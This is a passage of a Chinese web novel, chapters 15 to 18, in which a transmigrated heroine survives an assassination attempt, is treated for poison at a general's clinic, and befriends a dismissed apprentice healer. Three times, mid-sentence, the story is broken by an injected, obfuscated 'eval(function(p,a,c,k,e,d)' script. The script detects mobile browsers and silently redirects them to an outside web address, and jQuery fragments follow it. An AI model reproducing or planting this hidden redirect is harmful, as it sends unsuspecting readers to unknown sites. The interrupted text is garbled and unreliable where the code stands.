陈念念歪着头,只能看见层叠的瓦片上多出了一排密密麻麻的脚印,正亦步亦趋地向他们靠近,心中直呼倒霉。
怎么刺杀都让她遇上了?
风慕予现在扛着她,根本腾不出手来对付刺客,身上也没有带任何武器,这么多刺客一人一剑就够把他们两个都刺成筛子了,若他将她放下迎战,刀剑无眼,以她目前的状况,基本只能原地等死。
原本,死一死对她来说也没什么,但弥补任务不能复活,她完全不知道自己死了会发生什么,还是努力活着比较好。
她赶忙死死抱着风慕予的背,语中慌乱又无助:“我、我好怕,怎么办……但我相信,将军大人武功盖世,机智过人,无论陷入什么困境,一定都能想到两全其美的办法,绝对不会让无辜的人牺……”
风慕予没有动,只道:“去掉废话。”
陈念念听话地说:“别丢我,我不想死。”
风慕予松开双手,稍稍弯腰,似乎要将陈念念放下,但不等她脚尖点地,左手又加重了力道,揽住她的腰,将她护在臂弯中,低下头看了看她,满意道:“记住,以后就这么说话。”
一柄长剑破空而来,他轻轻跳起,将长剑稳稳接住,翻身出了刺客的包围圈,一手揽着陈念念,一手挥了挥长剑,准备迎战。
陈念念顺理成章地环住了风慕予的脖子,整个人像只八爪鱼牢牢挂在他的身上,随着他激烈的战斗,只觉一阵天旋地转,数不清的剑尖自她的头顶、脸颊、肩膀和脚边划过,好在,没有真的伤到她分毫。
片刻之后,她感觉到风慕予停下了动作,小心地向前望去。
刀剑遍地,瓦片碎裂,刺客已经通通倒下。
“咱们的人整整盯了这帮人半个月,差点以为他们要放弃刺杀任务,今日可算是按捺不住动手了!可惜,这种水平的刺客,根本不是将军的对手,再来十几二十个,也不过是给将军练手……”
惊蛰姗姗来迟,一面吹着彩虹屁,一面接过风慕予手中的长剑,将剑身擦拭干净,收回背后的剑鞘中,随后,自胸口拿出一本手掌大小的册子,翻到中间一页,颇为惊讶道:“第1000次了!”
陈念念忍不住好奇,探出头想要看看惊蛰的册子上写了什么,眼角的余光却瞥见一小片鲜红,脱口而出:“风慕予,你受伤了?”
15. 把脉
惊蛰闻言,厉声呵斥道:“大胆,你竟敢直呼将军大人的名讳!”
陈念念也意识到了不妥,一时全按着自己的习惯说话,忘了顾忌身份,急忙改口:“小女子一时失言,还望将军大人恕罪,为了保……”
说着说着,感受到风慕予的目光若有似无地落在她的身上,隐隐带着告诫,想起什么,声音越来越轻,忽觉得自己不知道怎么说话了。
算了,不如闭嘴。
惊蛰上前一步,语中担忧道:“将军,请尽快赶往医馆检查,以防刺客的剑上有毒,至于陈三小姐,就交给属下吧!”
风慕予随意地看了染血的衣袖一眼,肯定道:“剑上无毒。”
他抬眼看了看远处的灯火,没有放开陈念念,右手一抬,再次将她扛到了肩上,飞身向着前方的屋顶而去,留下一句,“处理干净。”
陈念念熟门熟路地调整回先前的舒适姿势,小心地抓住风慕予的衣袖,避免触碰他的伤口,犹豫再三,还是问:“你经常遇到刺杀吗?”
她猜测,惊蛰说的“第1000次”是指风慕予已经遭遇过1000次刺杀,基本隔几天就要遇见一次。
算一算,距离上次也确实没隔几天。
她曾听说书先生说过,因为风慕予在黎国有着举足轻重的地位,各国的野心家都十分忌惮他,想尽办法置他于死地,各种阴谋诡计、明杀暗害,一个个惊心动魄的故事,说上十天半个月都说不完。
她原本不以为意,如今,却觉得那些都是真人真事改编的。
他本就需要南征北战,刀口舔血,回到京城,回到了家里,却仍要时刻保持警惕,提防不知隐藏在何处的杀机,日日不得安宁。
意料之中的。
风慕予没有任何回应。
陈念念也没再说话,轻轻地靠在风慕予的背上,一动不动。
耳边只剩下夜风吹拂衣袖的声音,夜色中的世界显得尤为静谧。
这些年,他变得不喜欢和人多接触,不喜欢和人多说话,甚至对一些事情不理不睬,或许,只是为了尽可能给自己多一分安宁吧。
感觉到背上的人儿意外地安静了下来,风慕予不免有些奇怪。
他对陈念念并没有什么好感,甚至,有些烦躁,可他触到她身上淡淡的温热,闻着她身上熟悉的味道,竟觉得前所未有的安心。
又行了片刻,远远地,陈念念望见灯火阑珊的街道上,出现了一处通明的火光,不是秦楼楚馆,而是一家医馆——春归堂。
四周的店铺皆已关门,唯有春归堂正门前人头耸动,熙熙攘攘。
她之前到春归堂抓过药,知道春归堂是整个黎国最有名的医馆,馆中有三大神医坐镇,药材充足,十二时辰不间断营业,无论有任何的伤痛或病症,无论任何时间,都可以到春归堂进行医治。
颇有现代医院急诊的风范。
风慕予自然不会走正门。他自屋顶直接翻到围墙上,沿着围墙一路寻到后院,旁若无人地落在了后院正中的树下。
院中来往的小厮发现自墙外而来的不速之客,立时上前查看,应是早已见过风慕予许多次,一眼便将他认出,慌忙行礼之后,找来了春归堂的总管,同时,将他们引向一间僻静的厢房。
风慕予快步走向厢房,吩咐道:“清明,去把柳在明叫来。”
春归堂的总管,三十岁上下的男子,名叫清明。
陈念念略一思索就得出结论,春归堂,也是风慕予的产业。
一踏进厢房,风慕予便随手将陈念念扔在了床上。
陈念念忍不住抱怨:“你就不能温柔一点吗?”
背上摔得有些疼,动了动,却发现身体没有什么力气,下意识抓住风慕予的衣袖想要借着他起身,看见他衣袖上尚未干涸的血痕,声音不由变得柔和了些,“将军大人受了剑伤,赶紧包扎一下吧。”
柳在明正巧推门走进包厢,听见陈念念的话,眉头紧紧皱起,将药箱放在桌上,急匆匆地走到风慕予的身前,准备查看他的伤口,语中担忧又无奈:“将军大人,这才几天,您怎么又受伤了?”
“不用管我。”
风慕予抽出了被陈念念抓住的衣袖,同时避开了柳在明的手。
一点小伤,对他来说根本不算什么。
他直接撕开伤口处染血的布料,走到桌边打开药箱,开始自行处理,瞥见呆愣在原地的柳在明,命令道,“给她解毒。”
柳在明愣了愣才反应过来,急忙走到卧榻前,为陈念念把脉。
清明站在一旁,看了看陈念念,又看了看风慕予,微微笑着,说得很是轻松:“将军大人,不必忧心,柳神医乃是我黎国赫赫有名的圣手,哪怕是宫中的御医,也不一定有柳神医这般高超的解毒之术,天下没有几样毒能够难倒柳神医,这位姑娘定会没事的……”
柳在明的脸色,却并没有如同清明说的那么轻松。
他聚精会神地对着陈念念的脉象把了又把,皱紧的眉头,紧了又紧,紧到再没有余地。许久之后,他终于收回手,颇有些为难地说:“将军大人,这位姑娘所中之毒,来自苗族,毒性极为险恶,本因当场毙命,或许是因为吸入的量极少,或许是别的原因,支撑到现在仍未毒发,简直是奇迹,在下确有办法清除这位姑娘体内的毒素……”
说到这里,他顿了顿,继续道,“但是……”
陈念念十分关心自己的小命,立时追问:“但是什么?”
柳在明站起身,面上更为为难,看向风慕予,继续道:“此毒很是罕见,解药更是极为复杂,解药之中有一味非常稀有的药材,名为白落天心莲,只生长在雪山之上,春归堂中没有,在下也只在医书之中见过,若是现在派人出去找寻,不说能否找到,这位姑娘恐怕等不到……”
“白落天心莲?名字倒是有些耳熟?”清明摸着下巴想了想,忽想到了,不甚确定地说,“记得将军大人曾提起过,去年太后寿辰,越国使臣送了几株稀世药材作为寿礼,其中便有一株白落天心莲。”
“派人去宫里取。”风慕予说得随意,仿佛只是去自家的仓库里拿点不值一提的小物件,熟练地包扎好了伤口,转身准备往外走。
清明面上一惊,不敢置信道:“将军大人,那可是太后的……”
风慕予没有停留,几步出了厢房,语气肯定:“以我的名义。”
“是,属下这就去办。”清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446676|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明不再迟疑,急忙跟上风慕予,踏出厢房门,忍不住回头看了陈念念一眼,眼中多了一丝探究的深意。
柳在明嘱咐了几句,也匆匆离开厢房,去为陈念念写解药方子。
厢房内一时只剩下了陈念念一人。
风慕予走了,却没有带上她,她知道今晚势必要留在春归堂了。
她的身体很虚弱,艰难地将手撑在床沿,想要起身,却起不来,想了想,便也不准备起了,躺着没什么不好。
但她的意识一直是清醒的。
厢房门紧紧关着,厢房外却总有人影来去,哪里有八卦,哪里就有吃瓜群众,那些低声的关于她的议论,她听得一清二楚。
“天哪!将军大人竟然要为了她去讨要太后的寿礼!”
“将军从没有带女子来过这里,不知这位姑娘是将军什么人?”
“你们刚刚都没有看见吗?将军大人可是抱着她一路从后院走进厢房的,关系肯定不一般,咱们一定要小心伺候着!”
“没想到呀,长得平平无奇,竟能够让将军大人倾心……”
“那叫平平无奇吗?那简直是……唔,你捂我嘴干嘛!”
……
“你们都围在这里做什么?”
窃窃私语中忽多了一个年轻的男声,趋走了门外的丫鬟小厮。
“笃笃笃——”
随即,想起一阵敲门声。
等待片刻后,厢房门被轻轻推开,一个身材瘦削,穿着亚麻色粗布短衫,约莫十六七岁的少年走进门。
他的手中端着一碗热腾腾的汤药,在床前止步,毕恭毕敬地说:“姑娘请吃药。这药虽不能解毒,但能够延缓你身上的毒性发作。”
陈念念望向少年,想要抬手,没抬起来,直接说:“你喂我吧。”
少年显然没有料到陈念念会如此直接,原本白白净净的脸,一下羞得通红,端药的手僵了僵,但想到自己身为医者的职责,又强迫自己冷静下来,坐到床头的小矮凳上,点头应道:“好。”
为了缓解自己的尴尬,他一面喂药,一面自我介绍道:“我叫徐凡,是堂中的学徒,相信很快就能够成为堂中的大夫,姑娘在这儿的汤药都由我负责,若是有什么要求,尽管告诉我……”
“下次,不要这么烫,再放点糖。”陈念念毫不客气地提出要求。
徐凡再次认真地点了点头,“好,我记住了。”
虽然汤药很苦,但陈念念还是一口接着一口,老实地喝完了,下意识舔了舔嘴唇,她礼貌地道谢:“谢了。”
徐凡将勺子放回碗中,拿起帕子擦拭陈念念沾了药汁的唇角,动作小心而僵硬,迟疑许久,终是问:“我,我可以为你把脉吗?”
“可以。”陈念念爽快答应。
她从来没有那么多顾忌,看着徐凡期待却又踌躇的样子,就像是看见了一个满腹理论知识,等待着实践机会的医学院学生。
随手给个机会,何乐而不为。
徐凡轻轻将手搭在陈念念的手腕上,闭上眼睛,沉默许久,不知是感觉到了什么,睫毛忽动了动,下一秒,睁开眼,收回了手。
陈念念好奇问:“你发现了什么?”
16. 机会
徐凡抓了抓头,只说:“没什么。”
陈念念也不追问,看着徐凡转身离开,关上厢房的门,留下她一个人,身上还是没有一点动弹的力气,只能傻乎乎地看着床帐。
风慕予向来说一不二,他说会帮她取来白落天心莲,那么无论多么艰难,他一定会取来,他说会解她身上的毒,那么她一定死不了。
对于自己的小命,她倒是没那么担心了。
只是,这么躺着实在太无聊了。
哎,睡觉睡觉。
-
“小姐,快醒醒,起来吃药了!”
陈念念睡得迷迷糊糊,感觉到有一双手正急切地摇晃着她,不情不愿地睁开眼睛,看见窗外的日光,透过窗子的缝隙,落在她的眼睑上。
显然,已经是第二日的早晨了。
甜橙见陈念念醒了,一面仔细地扶她坐起身,一面交代道:“昨夜管事嬷嬷忽然叫奴婢前来春归堂照料小姐,听闻小姐中了剧毒,可吓死奴婢了,幸好将军大人连夜进宫为小姐求来稀世药材,制成了解药!”
说着,她端起放在一旁的药碗,递到陈念念的面前,“解药已经熬好了,赶紧喝了,快点好起来,不要辜负了将军大人的一片苦心!”
陈念念一听解药已经准备好了,立时睡意全无,在甜橙的帮助下迅速坐直了身子,嘴唇一碰到药碗,便“咕噜咕噜”喝了个精光。
温度正好,甜分适中。
看来,徐凡确实记住了她的要求。
安分地在床上坐了一会儿,她明显感觉到气力回到了身体里,动了动手脚,随即,掀开被子跳下床,不说完全痊愈,至少活动自如。
风慕予特地挑了柳在明为她解毒,确实是有点东西。
简单地换了身干净的衣裙,趁着甜橙去取吃食的时间,她准备到厢房外随便走走。推开厢房门,她看见前方是一个空旷的小院,正中的空地上支着几个架子,大小不一的竹筐里晒着各种各样的药材。
徐凡正站在架子旁,全神贯注地挑拣着药材,小心翼翼地拿起,又珍之重之地放下,仿佛在悉心呵护着什么稀世珍宝。
他本就生得干净清秀,虽然穿着一身简陋的粗布麻衣,周身却隐隐透出一种矜贵的书卷气,春日的晨光,明亮而温和,落在他白皙的侧脸上,落在他专注的眼眸中,衬得他更为儒雅恬静。
再仔细些看,他的五官也是极为精致的,尤其是长眉之下,一双乌黑璀璨的眼睛,左眼眼角还有两颗细小的泪痣。深邃的眼,配上温柔的痣,若不是她见过了风慕予,一定会为他所惊艳。
不过,他的气质与风慕予截然不同,无论是阳光明媚的风慕予,还是冷漠疏离的风慕予,不管在哪儿都透出一种张扬的感觉,但他却是极为低调的,仿佛总想要把自己藏起来,却又藏不住,被人所察觉。
徐凡将手中的竹筐放在架子上,抬起头,正巧望见了陈念念,稍稍有些不自在,但还是关切道:“姑娘,身体可好些了?”
“好多了。”陈念念走到徐凡的身边,正想继续说些什么,忽觉得胃里一阵绞痛,翻江倒海,控制不住地弯下腰,“呕——”
陈念念吐了徐凡一身,把刚喝下的药和昨晚吃的所有东西通通吐了出来,再没什么好吐的,身体里却仍有什么东西在不断刺激着她。
“小姐,用膳……小姐,你怎么了?”
甜橙本想叫陈念念回厢房用早膳,走得近了,却发觉她的情况不对劲,赶忙扶着她躺回床上,并急匆匆跑去请来了柳在明。
柳在明为陈念念把了脉,又检查了她喝过的药,皱起眉,脸色阴沉,道:“药是徐凡那个小子负责的,去把他给我叫来!”
他一闻便知,药碗中残留的汤药,和他开的方子有所不同。
徐凡赶到自己的房间换了身衣裳,又立刻赶回陈念念所在的厢房,一推开门,便看见一个怒气冲冲的身影直直地望向他,刚踏进一只脚,一个药碗自不远处飞来,“哐”一声碎在他的脚边。
“跪下!”柳在明指着徐凡,怒斥道,“你不过是个学了点皮毛的学徒,就敢胡乱改动我的方子?你知道里面的药材有价无市,毁了就再也寻不到了吗?你知道稍有差池,失去的就是一条人命吗?”
徐凡应声跪下,低着头,试图解释:“老师,我只是想……”
柳在明直接打断了徐凡的解释,越说越是痛心疾首,“你不要叫我老师,你有哪点把我当做老师?上次的事,念在你初犯,我选择了原谅你,可惜你竟如此不知悔改,再次犯下这种大错……”
叹了口气,他继续道,“既然如此,你走吧,我们春归堂庙小,容不下你这尊大佛,你既然坚持自己的想法,就到外面去闯吧……”
“老师,我真的知道错了,不要赶我走……”徐凡眼中震惊,哀求着,膝行上前,抱住柳在明的大腿,却被柳在明狠狠甩开。
“你走吧!”柳在明绕过徐凡,头也不回地离开了厢房。
“老师,再给我一次机会吧……”
陈念念躺在床上,感觉到身体里难耐的感觉正在渐渐消退,看了看跪在地上的徐凡,不置可否。前排吃瓜,原来也不是每次都香的。
总不能让他一直这么跪在房里,却又有些不忍心赶他离开,犹豫间,听得甜橙直接道“要跪出去跪,我家小姐要休息了”。
不得不说,赤影将军府出来的丫鬟就是豪横。
睡了一会儿,醒来用了一点吃食,听闻徐凡还跪在院中。
倒头又睡了一觉,再醒来时,已近傍晚,问了问甜橙,得知徐凡被柳在明派人扔出了春归堂,却仍跪在后门外,不愿离去。
陈念念下了床,披上一件外衣,出了厢房,一阵小风吹得她打了一个寒颤,不知何时竟已变了天,阴沉沉的,下着淅淅沥沥的雨。
她拿过甜橙手中的伞,不顾阻拦,到了徐凡所在的后门。
似乎下跪这样凄惨的情节,总是要配上凄风苦雨。
徐凡独自跪在雨中,来来往往的行人,进进出出的小厮,没有一个人给予他一个多余的眼神,更别说为他遮风挡雨。他身上单薄的短衫完全湿透了,披散的长发胡乱贴在脸上、肩上,双眼被雨水模糊,脸色苍白,冷得微微发抖,额头上甚至还有猛烈磕碰留下的血痕。
整个人狼狈不堪,没有了一点清晨时儒雅恬静的模样。
陈念念走到了徐凡的面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446677|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前,手中的伞稍稍倾斜,挡住了将落在他身上的雨点,很是认真地劝道:“徐凡,别跪了,走吧。”
徐凡低着头,喃喃道:“我不能走,我走了能去哪里……”
陈念念见他固执,想了想,又说:“看得出,你很喜欢药材。”
一提到药材,徐凡黯淡的眸光中立时多了几分异样的光彩,声音也变得生动了许多,抬起头看向陈念念,道:“是,我很喜欢采药、抓药。熬药,只要接触到各种药材,我的心就会感觉到平静……”
顿了顿,他解释道,“我从小熟读医书,阅尽百草,能够辨认出所有药材的药性,也对各种毒物有些了解,我只是在老师的方子上添加了两味药材,能够更好地去除姑娘体内的毒性,虽然会引发呕吐,但绝对不会对姑娘的身体造成任何损害,请姑娘不要担心……”
“我知道。”陈念念了然地说。
呕吐之时,徐凡没有表现出一丝惊慌,她便猜到,与他有关。
呕吐之后,她的身体再没有其他的异样,柳在明虽然狠狠地训斥了徐凡一顿,却没有为她开药施针,说明徐凡的药,根本没有问题。
“我的外祖父曾是宫中的御医,我幼时便受到外祖父的影响,苦心研习医术,梦想成为一名神医,妙手回春,可惜家中不幸出现变故,只余下我一人。我四处游历,慕名来到春归堂,听闻春归堂网罗天下珍贵药材,研究各种疑难病症,不惜重金留住三大神医,只为给普通百姓治病,我也想在春归堂中成为一名救死扶伤的医者,可是……”徐凡的声音渐渐低下去,没有把话说完。
陈念念直接接上徐凡的话:“可是,你没想到,你的老师刻意打压你,不给你一点展现自己实力的机会……”
“你怎么……”徐凡面上一惊,又低下了头。
原来,她早就看出来了。
陈念念想了想,继续说,“你的老师说的没错,医者用药应当慎之又慎,稍有差池后果不堪设想,无论出于什么目的,你都不应该在未经他人允许的情况下擅自改动药方,这是对你老师的不尊重,也是对病人的不负责,你的心里也应该很清楚这么做是错的,但你还是按照自己的想法做了,那么,便要承担由此而来的后果……”
“不过,年轻人嘛,有点冲动,有点不甘,也是很正常的。看在你是为了我好的份上,我这里有个机会给你。”她忽想起一个地方,很是适合徐凡,低头假装在袖子里找了找,其实是从系统仓库里,拿出了一块画着一朵桃花的木牌,扔在徐凡的手上,“东门外十里,有个种满了桃花的庄子,凭木牌进门,进去后你就会明白我的意思。”
徐凡看着手中的木牌,动了动嘴唇,却没有说话。
细雨连绵,一时没有停歇的意思,空气凉而湿润。
“阿嚏——”陈念念控制不住地打了个喷嚏,感觉自己再不注意,昨日还没好透的风寒,就要更猛烈地折磨她了。
她收回雨伞,不准备再管徐凡,转过身,看见一只等在不远处的甜橙,招了招手,说:“走,我们回房吧。”
“等等。”徐凡握紧手中的木牌,终于有了决定,站起身,叫住陈念念,道,“有件事,我还没有告诉你。”
17. 隐情
陈念念立时停下脚步,回头望向徐凡,准备好吃瓜。
在雨中想了许久,徐凡想通了很多事。
离开春归堂,已是无法改变的事实,往后,只能再想别的办法。
他抬起头望向陈念念,隔着一帘雨幕,看得并不明晰,却多了一种朦胧的美,想起昨夜听见的关于她和赤影将军的传闻,不由皱了皱眉。
想了想,他才开口道:“陈姑娘,昨晚我为你把脉,确实发现了一件事。你的体内存在着两种毒素,一种正是你昨日所中之毒,只要吃下老师调制的解药,再调理几日,便可以根除,另一种,已在你的身体里潜藏多年,极有可能是在你刚出生之时便被人强行灌下。这种毒能够改变你的体质,所以昨晚你没有立刻毒发身亡,同时,它还会改变你的容貌,你原本,应当不是这副模样……”
陈念念下意识摸了摸自己的脸:“你懂得还挺多。”
徐凡的嘴角泛起一丝苦涩,对自己的所知所学心有不甘,却又无可奈何,顿了顿,继续道,“姑娘所在厢房的窗台上有一张新写的方子,若是姑娘信任我,按着方子每日服药,便可渐渐恢复原本的容貌……”
“今日多谢姑娘相劝,姑娘给的机会,我会好好珍惜,就此别过。”说到最后,他冲着陈念念行了个礼,率先转身离去。
-
细雨连绵,整整落了两日,直到第三日晌午才终于放晴。
陈念念坐起身喝药。
徐凡离开后,煎药的小厮不敢妄动药方,连放个糖都不肯,汤药又变回又苦又烫,甚至还有点焦味,但她还是一口气喝了个精光。
放下汤碗,掀开被子,她准备去院子里晒晒太阳。
却被甜橙一把按回床上,“小姐,你必须好好休息!”
虽然小命顺利保住了,但接连中毒,终究对身体有所损伤,加上风寒未愈就跑出去吹了好一会儿的冷风,导致病情加重,陈念念被柳在明列为了春归堂重点照看对象,不被允许随意出门走动。
她每日吃完了睡,睡完了吃,日子过得倒也轻松。
只是,实在是太无聊了。
自那日离开后,风慕予再没有出现在春归堂,更别说来看望她。
想想也能理解,她这么闹腾,对着他胡说八道,百般纠缠,他对她肯定没什么好感,能够不计前嫌为她求来稀世药材,已经是尽职尽责、仁至义尽了,平时定然是能够少接触就尽量少接触。
遗珠楼的谷掌柜倒是来看过她,知她不能如约再次到访遗珠楼,带着那日拍卖所得的银票,亲自到了春归堂找她。
但她得知遗珠楼的幕后之主是风慕予后,便意识到自己这条生财之路堵了。风慕予自己倒卖自己的消息,想要散布什么,便拍卖什么,根本不缺消息来源。谷掌柜想要与她合作,多半是对她产生了怀疑,想要借此试探她而已。她的身份特殊,可不能随便暴露。
把合作谈崩后,她遗憾地对谷掌柜进行了旁敲侧击,想要知道风慕予敛财的原因,可惜谷掌柜说得滴水不漏,没有一点有用的线索。
不过,她心里隐隐有了一个猜测。
缺钱,是因为春归堂吗?
为了打发时间,她每日都让甜橙去前厅打听八卦,一点不落地回来说给她听,也常常拉住路过的丫鬟小厮聊个没完,以至于她虽没有再出过厢房一步,但几乎把春归堂里里外外了解得透透的。
春归堂位于京城最繁华的街,规模颇大,分为前、中、后三个院子,前院有大堂、单间、药房三个部分,专门为各种病人看病准备,每月初一和十五,春归堂中的大夫都会免费为前来的百姓看诊。中院有许多普通厢房,像是住院部,收留需要长期治疗的病人,一侧还设有厨房和食堂,丫鬟小厮的寝室。后院则是特殊厢房,三大神医的寝室,和药材仓库。三大神医分别是柳在明,陈云和楚轩歌,除了柳在明,另外两个她都没有见过。据说春归堂的药材仓库里,不但囤积了大量的常用药材,还有许多普通人一辈子也无法见到的奇花异草。
药材仓库旁,还有一个药物研究室,是春归堂的禁地,平日里只有风慕予和楚轩歌可以进入,连清明都只能守在门外。
古时多有医者尝百草的事迹,但药物研究室,真真是一个非常新潮的概念。任何东西的研究都是一个无底洞,需要庞大的人力、物力和资金的支撑,风慕予的钱,极有可能是砸到里面了。
只不知,他想要研究些什么?
他的身上藏着什么秘密?
她得找个机会去这个传说中的春归堂禁地探一探才行。
翻了个身,她望向窗外明媚的日光,尚未做出任何动作,甜橙的手已落在了她的肩膀上,郑重其事地告诫她“好好休养”。
她无奈翻回床的内侧,老实地闭上眼睛。
算了,暂时没有机会。
暂且当风慕予只是单纯地想为医疗事业做出一些贡献吧。
-
“多亏了将军寻来稀世药草,陈姑娘的身体已无碍了。”
“好。”
“将军,可要进屋看看陈姑娘。”
“不了。”
顿了顿,又补上一句,“不用提我来过。”
“是。”
陈念念每日都能睡一个大懒觉,直到日上三竿,阳光透过敞开的窗户肆无忌惮地落在她的眼睑上,才被迫生出些许苏醒之意。
半梦半醒间,她听到了熟悉的声音。
但并不真切。
似乎是风慕予的。
为了听得更清楚些,她直接光着脚跳下床,凑到了门边。
“甜橙姑娘,你家小姐的身子已痊愈,今日便可回离开。”
“太好了,柳神医果真仁心仁术,妙手回春!”
“请随在下来,在下还有一副方子和一些药材要交于甜橙姑娘,陈小姐回府后仍需按方子细细调理,方才不落下任何病根……”
“多谢柳神医!”
门外说话的,是甜橙和柳在明。
没有风慕予。
刚刚的声音,是她听错了?
摇了摇头,只当是睡糊涂了,不准备深究,她坐到梳妆台前。
摸了摸脸颊,摸了摸嘴唇,又掀起袖子看了看胳膊,她的眼中多了几分惊讶,转而,又变成了了然的得意。
拿到徐凡留给她的方子后,她谎称上面写的是一个美容养颜的秘方,要求熬药的小厮偷偷熬给她喝,小厮忌惮她是赤影将军亲自送来的贵客,不敢怠慢,每日按时端上汤药。她在春归堂一待便待了七日,此汤药已喝了六日,脸上有了明显的变化。
未施粉黛,她的脸白皙嫩滑,五官精巧,红色的胎记比之前淡了许多,几不可见,唇边的大痣更是踪影全无,美貌初见雏形。
她就说嘛,她本有闭月羞花、沉鱼落雁之姿,每一次穿越,系统只会对她的外貌稍作改动,怎么可能直接变成一个丑八怪。
原来是有人在她年幼时便做了手脚!
这么奇特的药,定然价值不菲,会是谁做的呢?
她的人物背景,不就是一个不受宠爱的外室之女,在边城自生自灭,无关紧要的炮灰吗?难道她的身世,还有什么隐情不成?
“吱呀——”
甜橙手中拎着一堆包好的药材,脚步轻快地推门而入,见陈念念醒了,很是高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446678|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兴道:“小姐,柳神医说,咱们可以回将军府了!”
“那太好了。”
陈念念应和了一声,抓起梳妆台上的胭脂,胡乱地抹在脸上。
她还不清楚自己中毒的原因,自然不能让任何人知道她的脸正在迅速恢复,只能继续将自己打扮得花里胡哨的,看不清真实面目。
甜橙看了看陈念念,对于她夸张的妆容,早已见怪不怪,放下药材,提议道:“小姐,奴婢去准备午膳,咱们吃完就走,好吗?”
看得出,归心似箭。
“不吃了,收拾收拾,现在就走。”
陈念念表现得比甜橙更加迫切。
虽然风慕予不怎么愿意搭理她,但她是一定要去见风慕予的,这么些日子过去,也不知道他怎么样了,干了些什么,遇见了什么人,心情可有什么变化?她得回到他身边继续观察,不能在这儿持续发霉。
多一秒都不可以。
不过片刻,陈念念收拾完毕,出现在了春归堂的大堂。恰逢初一,三大神医免费看诊,大堂里人声鼎沸,等待看诊的队伍从堂中曲曲折折,一路排到了正门外,她艰难地挤进人群,用了将近半个时辰,才终于从人群中挤出,到了正门外的街上。
失策了,难怪他们进门和赶人,都不选在正门。
靠在墙边稍作休息,顺便等待还在人群中苦苦挣扎的甜橙,她习惯性环顾了一下四周,眼角的余光瞥见徐凡正向着她走来。
她直接打了招呼:“你怎么在这儿?”
徐凡还穿着先前那身粗布短衫,但身上完全没有了被逐出春归堂时的阴雨,整个人明亮了许多,面上轻轻笑着,温和儒雅,书卷气满满,若不是背上背着一大筐药材,还以为是哪家进京赶考的书生。
他在陈念念身前止步,很是郑重地鞠了一躬,道:“我实在不知该如何感谢姑娘,只能在这里守着姑娘出现,再次当面道谢。”
找到桃花山庄后,他当即明白了陈念念的深意。
他在山庄里看到的东西,完全超过了他的想象。
陈念念摆了摆手,蛮不在乎:“举手之劳。”
不过是她上次穿越时留下来的一点小东西而已。
能够物尽其用,也算不浪费。
徐凡望着陈念念,越看面色越是泛红,显然有些不好意思,却始终不愿移开目光,迟疑片刻,小心翼翼地自胸口拿出一个小木盒:“姑娘,你的体质特殊,这是我特地用药材调制的……”
“干什么!没看见牌子上写着‘依次排队,不许插队’吗!”
“各位大爷,行个方便吧,我家的实在病得……”
“笑话,来这儿的哪个不是生了重病的?谁给我方便了?”
……
正门前的队伍中忽出现了争执,推搡间,一个中年男子脚步踉跄着,猛地撞在徐凡的背上。徐凡毫无防备,受不住撞击,向前倒来。
陈念念下意识向着旁边一挪,防止被徐凡撞倒,转念一想,干看着他扑在地上,似乎不太地道,急忙伸出手扶住了他的身子。
徐凡借着陈念念的力道堪堪站稳,忽瞥见她放在他腰上的手,面上霎时通红,急切却又动作轻柔地推开她,“多、多谢姑娘!”
陈念念收回手,抬头,想看看发生了什么,却见不远处,原本整齐的队伍,竟完全乱了,一波不受控制的人流向着她的方向涌来。
春归堂斜对面,是一家酒楼。
酒楼二层最右侧的包厢,两扇窗户都只打开了一条小缝。
黎修齐站在窗后,看着楼下的情形,摇了摇扇子,意有所指地说:“你都看见了,难道没有什么想法吗?”
18. 桃子
风慕予站在黎修齐的身侧,稍稍垂着眼,平静的眸光扫过骚乱的人群,落在陈念念的身上,落在她的手上,没有回话。
黎修齐继续煽风点火:“还以为陈三小姐这么火急火燎地离开,是为了回府见你,没想到,是为了和这么个小白脸相见……”
“刚得了可靠消息,今日有将军府中细作将在酒楼与他人会面,我们不是来抓人的嘛?怎么听太子哥哥说的,像来捉奸似的?”
黎景明本站在门边认真观察着门外,见黎修齐一直往窗外看,实在忍不住好奇,也走到窗边看了看,立时皱起眉,道,“小白脸?就他吗?看不出有什么特别,生得弱不禁风,还没我长得帅,哪里比得上慕哥一星半点……怎么突然乱了?他们怕是要撞在一起了!”
“好好守着,少管闲事。”
风慕予忽推开窗,单手撑在窗台上,一翻身到了窗外。
黎修齐一惊,紧跟着从窗内探出半个身子,向下喊道:“你干什么去?不是还要抓人吗?本宫可不是来给你打杂的!”
语中不满,却也没有出手阻拦风慕予的意思。
陈念念的背后是墙,面前是徐凡,失去秩序的人流已贴到了她的脚边,一时无处可逃,踌躇间,忽有一双手抓住了她的衣领,像拎兔子一般将她带离了人群,一转眼,扔在了屋顶上。
